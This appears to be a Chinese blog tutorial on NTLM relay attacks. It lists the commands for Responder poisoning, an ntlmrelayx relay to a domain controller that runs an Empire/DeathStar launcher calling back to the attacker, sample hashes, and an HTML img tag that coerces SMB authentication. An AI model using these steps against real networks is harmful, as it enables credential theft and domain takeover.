基礎知識
NTLN和Net-NTLM
1、NTLM(V1/V2)的hash是存放在安全賬戶管理(SAM)數據庫以及域控的NTDS.dit數據庫中,獲取該Hash值可以直接進行PtH攻擊,我博客中前文也有介紹過。
2、Net-NTLM(V1/V2)的hash值是基於用戶的NT的hash值經過一定的算法產生的。
#NTLM-Hash
aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 前面是LMhash后面是NT的Hash
#Net-NTLM-Hash
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
NTLM認證攻擊的原理
說到底,在使用一些服務的過程中,需要帶有windows的自身的認證信息,其實就是Net-NTLM的Hash,而這些東西你可以使用像Responder或者Inveigh這些工具獲得。然后你獲取了這個Net-NTLM的Hash,就可以轉給真正的驗證服務器去驗證,從而作為攻擊者的你就可以通過真實的服務器的身份驗證,這種攻擊方式就稱作NTLM中繼攻擊。
攻擊場景
控制受害者訪問一個站點(不存在的最好),你作為攻擊者對此作出應答,認證信息會傳到你的攻擊者的機器上,你對此再做轉發,去真實的服務器上認證,即可獲取真正服務器的權限。
攻擊流程
攻擊准備
- Kali(Ubuntu) 攻擊筆記本一台
- Windows客戶端一台
- Windows服務器一台
攻擊工具
- Responder,下載地址:https://github.com/SpiderLabs/Responder
- Empire,下載地址:https://github.com/EmpireProject/Empire
- Deathstar,下載地址:https://github.com/byt3bl33d3r/DeathStar
- ntlmrelayx,下載地址:https://github.com/CoreSecurity/impacket,安裝配置:https://hausec.com/how-to-set-up-ntlmrelayx-py/
啟動Empire
1、啟動Empire的RestFUL-API
2、然后創建powershell腳本
launcher powershell DeathStar
3、打開DeathStar
root@kali:~/DeathStar# ./DeathStar.py --listener-ip kali_ip -t 100 -u admin -p admin
4、開啟中繼
ntlmrelayx.py -t target_ip(例如域控) -c 'powershell腳本生成的內容'
5、打開Responder.py
先修改文件(Responder.py):
然后
python Responder.py -I eth0 -r -d –v
6、結果
可以看出中繼是認證成功的,但是rpc調用失敗了,因為權限不夠。
擴展-使用CSRF控制客戶端去請求:
在瀏覽器沙箱不斷發展的幾天,很多偽協議或者文件協議的訪問方式都已經被禁止了,但是SMB依然可以
<img src='\\WIN-8JQH4CQEJIR\User\img\1.jpg'>
這樣就可以實現控制的訪問。